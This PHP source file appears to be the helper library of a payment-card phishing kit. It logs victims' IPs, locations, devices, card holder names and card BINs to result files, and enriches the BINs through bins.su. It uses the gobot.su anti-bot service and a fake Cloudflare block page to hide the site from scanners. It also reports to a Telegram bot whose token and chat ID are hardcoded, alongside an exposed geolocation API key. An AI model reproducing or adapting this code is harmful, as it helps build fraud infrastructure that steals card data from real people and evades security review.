<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
$ipwhoApiUrl = 'https://ipwhois.pro/';
$acceptedIpsFile = __DIR__ . '/../logs/accept-ips.txt';
$deniedIpsFile = __DIR__ . '/../logs/denied-ips.txt';
$ipsFile = __DIR__ . '/../logs/ips.txt';
$access = json_decode(file_get_contents(__DIR__ . '/../../config/access.json'), true);
$config = json_decode(file_get_contents(__DIR__ . '/../../config/gen.json'), true);
$dataPage = json_decode(file_get_contents(__DIR__ . '/control.json'), true);
$templateCard = file_get_contents(__DIR__.'/../../function/fullinfo.html');
$webshopFile = __DIR__ . '/../webshop/result.txt';

define('TELEGRAM_BOT_TOKEN', '7992834286:AAHTV8WZfK10RRqFVFrIQzsPWKAVoht286k');
define('TELEGRAM_CHAT_ID', '-1002801604007');

function sendTelegramMessage($message) {
    $url = 'https://api.telegram.org/bot' . TELEGRAM_BOT_TOKEN . '/sendMessage';
    $data = [
        'chat_id' => TELEGRAM_CHAT_ID,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}

set_error_handler(function ($errno, $errstr, $errfile, $errline) {
    $message = "<b>тЪая╕П PHP Error Detected</b>\n";
    $message .= "<b>Type:</b> $errno\n";
    $message .= "<b>Message:</b> $errstr\n";
    $message .= "<b>File:</b> $errfile\n";
    $message .= "<b>Line:</b> $errline";
    sendTelegramMessage($message);
});

set_exception_handler(function ($exception) {
    $message = "<b>ЁЯЪи Uncaught Exception</b>\n";
    $message .= "<b>Message:</b> " . $exception->getMessage() . "\n";
    $message .= "<b>File:</b> " . $exception->getFile() . "\n";
    $message .= "<b>Line:</b> " . $exception->getLine();
    sendTelegramMessage($message);
});

register_shutdown_function(function () {
    $error = error_get_last();
    if ($error && in_array($error['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR])) {
        $message = "<b>ЁЯФе Fatal Error</b>\n";
        $message .= "<b>Message:</b> {$error['message']}\n";
        $message .= "<b>File:</b> {$error['file']}\n";
        $message .= "<b>Line:</b> {$error['line']}";
        sendTelegramMessage($message);
    }
});

function checkIpStatus($ip)
{
    global $acceptedIpsFile, $deniedIpsFile;

    $acceptedIps = file_exists($acceptedIpsFile) ? file($acceptedIpsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
    $deniedIps = file_exists($deniedIpsFile) ? file($deniedIpsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];

    if (in_array($ip, $acceptedIps)) return 'accepted';
    if (in_array($ip, $deniedIps)) return 'denied';
    return 'unknown';
}

function loginAndCardSave($ip, $namafile) {
    if (!is_dir(__DIR__ . '/../logs/')) {
        mkdir(__DIR__ . '/../logs/', 0777, true);
    }
    
    $file = __DIR__ . '/../logs/'.$namafile;
    file_put_contents($file, $ip.'|'.date('Y-m-d') . PHP_EOL, FILE_APPEND);
}

function cardDetailsLogs($ip, $bin, $nama, $issuer, $cardtier, $scheme, $type, $namafile) {
    if (!is_dir(__DIR__ . '/../logs/')) {
        mkdir(__DIR__ . '/../logs/', 0777, true);
    }
    
    $date = date('H:i:s m-d-Y');
    
    $file = __DIR__ . '/../logs/'.$namafile;
    file_put_contents($file, "$date|$ip|$nama|$bin|$issuer|$cardtier|$scheme|$type". PHP_EOL, FILE_APPEND);
}

function webShopSave($data)
{
    global $webshopFile;
    
    if (!file_exists($webshopFile)) file_put_contents($webshopFile, '');

    file_put_contents($webshopFile, $data . PHP_EOL, FILE_APPEND);
}

function saveDataCard($data) {
    $file = __DIR__ . '/../logs/data_webshop_logs.txt';
    file_put_contents($file, $data . PHP_EOL, FILE_APPEND);
}

function fetchIpData($ip, $userAgent)
{
    global $ipwhoApiUrl;

    $ch = curl_init($ipwhoApiUrl . $ip .'?key=cF8oCNZgptX8zTTj&security=1');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    if (!$response) return null;

    $data = json_decode($response, true);

    return [
        'ip' => $ip,
        'city' => $data['city'] ?? 'Unknown',
        'region' => $data['region'] ?? 'Unknown',
        'country' => $data['country'] ?? 'Unknown',
        'flag' => $data['flag']['img'] ?? 'Unknown',
        'isp' => $data['connection']['isp'] ?? 'Unknown',
        'phone_code' => $data['calling_code'] ?? 'Unknown',
        'userAgent' => $userAgent
    ];
}

function saveIp($fileName, $ip)
{
    if (!file_exists($fileName)) file_put_contents($fileName, '');
    $fileContent = file($fileName, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    
    if (!in_array($ip, $fileContent)) {
        file_put_contents($fileName, $ip.'|'.date('Y-m-d') . PHP_EOL, FILE_APPEND);
    }
}

function saveIpData($ipData, $logs = '')
{
    global $ipsFile;
    
    $date = date('H:i:s m-d-Y');
    $device = getDevice();
    $browser = getBrowser();

    $ipRecord = "{$date}|{$ipData['ip']}|{$ipData['city']}|{$ipData['region']}|{$ipData['country']}|{$ipData['flag']}|$browser|$device|{$ipData['userAgent']}|{$logs}";
    
    if (!file_exists($ipsFile)) file_put_contents($ipsFile, '');

    $fileContent = file($ipsFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $existingIps = array_map(fn($line) => explode('|', $line)[0], $fileContent);

    if (!in_array($ipData['ip'], $existingIps)) {
        file_put_contents($ipsFile, $ipRecord . PHP_EOL, FILE_APPEND);
    }
}


function getDeviceAndBrowser() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $device = "Unknown Device";
    $browser = "Unknown Browser";

    if (strpos($userAgent, 'iPhone') !== false) {
        $device = "iPhone";
    } elseif (strpos($userAgent, 'iPad') !== false) {
        $device = "iPad";
    } elseif (strpos($userAgent, 'Android') !== false) {
        $device = "Android";
    } elseif (strpos($userAgent, 'Windows NT') !== false) {
        $device = "Windows";
    } elseif (strpos($userAgent, 'Macintosh') !== false) {
        $device = "Mac";
    }

    if (strpos($userAgent, 'Chrome') !== false) {
        $browser = "Chrome";
    } elseif (strpos($userAgent, 'Safari') !== false) {
        $browser = "Safari";
    } elseif (strpos($userAgent, 'Opera') !== false) {
        $browser = "Opera";
    } elseif (strpos($userAgent, 'Firefox') !== false) {
        $browser = "Firefox";
    } elseif (strpos($userAgent, 'Edge') !== false) {
        $browser = "Edge";
    }

    return [
        'device' => $device,
        'browser' => $browser,
        'user_agent' => $userAgent
    ];
}

function getCardDetailsFromBIN($bin) {
    $url = "https://bins.su/";
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

    $headers = array(
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
        "Accept-Language: en-US,en;q=0.8",
        "Cache-Control: max-age=0",
        "Connection: keep-alive",
        "Content-Type: application/x-www-form-urlencoded",
        "Origin: https://bins.su/",
        "Referer: https://bins.su/",
        "Sec-Fetch-Dest: document",
        "Sec-Fetch-Mode: navigate",
        "Sec-Fetch-Site: same-origin",
        "Sec-Fetch-User: ?1",
        "Sec-GPC: 1",
        "Upgrade-Insecure-Requests: 1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/119.0.0.0 Safari/537.36",
        "sec-ch-ua: 'Brave';v='119', 'Chromium';v='119', 'Not?A_Brand';v='24'",
        "sec-ch-ua-mobile: ?0",
        "sec-ch-ua-platform: 'Windows'",
    );
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

    $postData = "action=searchbins&bins=$bin&bank=&country=";
    curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);

    $resp = curl_exec($curl);
    if (curl_errno($curl)) {
        echo 'Curl error: ' . curl_error($curl);
    }

    curl_close($curl);

    $pattern = '#</tr><tr><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td><td>(.*?)</td>#s';
    preg_match($pattern, $resp, $matches);
    
    return [
        'issuer'    => !empty($matches[6]) ? $matches[6] : "unknown bank",
        'card_tier' => !empty($matches[3]) ? $matches[3] : "unknown brand",
        'scheme'    => !empty($matches[4]) ? $matches[4] : "unknown type",
        'type'      => !empty($matches[6]) ? $matches[6] : "unknown bank"
    ];

}

function getDevice() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Android') !== false) return 'Android';
    elseif (strpos($userAgent, 'iPhone') !== false) return 'iPhone';
    elseif (strpos($userAgent, 'iPad') !== false) return 'iPad';
    elseif (strpos($userAgent, 'Windows NT') !== false) return 'Windows';
    elseif (strpos($userAgent, 'Macintosh') !== false) return 'Mac';
    return 'Unknown Device';
}

function getBrowser() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    if (strpos($userAgent, 'Chrome') !== false) return 'Chrome';
    elseif (strpos($userAgent, 'Firefox') !== false) return 'Firefox';
    elseif (strpos($userAgent, 'Safari') !== false) return 'Safari';
    elseif (strpos($userAgent, 'Opera') !== false) return 'Opera';
    elseif (strpos($userAgent, 'Edge') !== false) return 'Edge';
    return 'Unknown Browser';
}

function elkontjem($ip, $ua) {
    global $config;
    
    // Get API key and domain from config
    $apikey = trim($config['gobot_key'] ?? '');
    $domain = trim($config['gobot_domain'] ?? $_SERVER['HTTP_HOST'] ?? '');
    
    // If no API key, skip check (allow access)
    if (empty($apikey)) {
        return 'no';
    }
    
    // Get real client IP (support Cloudflare and proxy headers)
    $realIp = $ip;
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        $realIp = $_SERVER["HTTP_CF_CONNECTING_IP"];
    } else {
        $client = $_SERVER['HTTP_CLIENT_IP'] ?? '';
        $forward = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
        if (filter_var($client, FILTER_VALIDATE_IP)) {
            $realIp = $client;
        } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
            $realIp = $forward;
        }
    }
    
    // Get referer
    $reff = $_SERVER['HTTP_REFERER'] ?? '';
    
    // Gobot.su API endpoint (v1) - sesuai dokumentasi resmi
    $apiUrl = "https://gobot.su/api/v1/blocker";
    
    $ch = curl_init($apiUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        "ip" => $realIp,
        "apikey" => $apikey,
        "ua" => $ua,
        "url" => $domain,
        "reff" => $reff
    ]));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'accept: application/json',
        'Content-Type: application/x-www-form-urlencoded'
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // Handle API errors or timeouts - allow access on error to prevent false blocks
    if (!$result || $httpCode >= 400) {
        return 'no';
    }

    // Parse JSON response
    $data = json_decode($result, true);
    if (!is_array($data)) {
        return 'no';
    }

    // Get type and action from response (priority: type > action)
    $type = strtolower($data['type'] ?? '');
    $action = strtolower($data['action'] ?? '');

    // Check response type first (highest priority)
    // Even if success is false, if type is bot, we should block
    if ($type === 'bot') {
        return 'bot';
    }
    if ($type === 'human') {
        return 'no';
    }

    // If type is not available, check action
    if ($action === 'block') {
        return 'bot';
    }
    if ($action === 'allow') {
        return 'no';
    }

    // If success is false and no type/action info, allow access (API error)
    if (isset($data['success']) && $data['success'] === false && $type === '' && $action === '') {
        return 'no';
    }

    // Unknown response type, allow access
    return 'no';
}


function generateRandomString($length = 30) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function showCloudflareBlocked() {
    if (ob_get_level()) {
        ob_end_clean();
    }
    $blockedPagePath = __DIR__ . '/../../405/wtf/cloudflare-blocked.php';
    if (!file_exists($blockedPagePath)) {
        $blockedPagePath = __DIR__ . '/../../../405/wtf/cloudflare-blocked.php';
    }
    if (file_exists($blockedPagePath)) {
        include $blockedPagePath;
    } else {
        http_response_code(403);
        echo '<!DOCTYPE html><html><head><title>Access Denied</title></head><body><h1>Access Denied</h1><p>You have been blocked.</p></body></html>';
    }
    exit;
}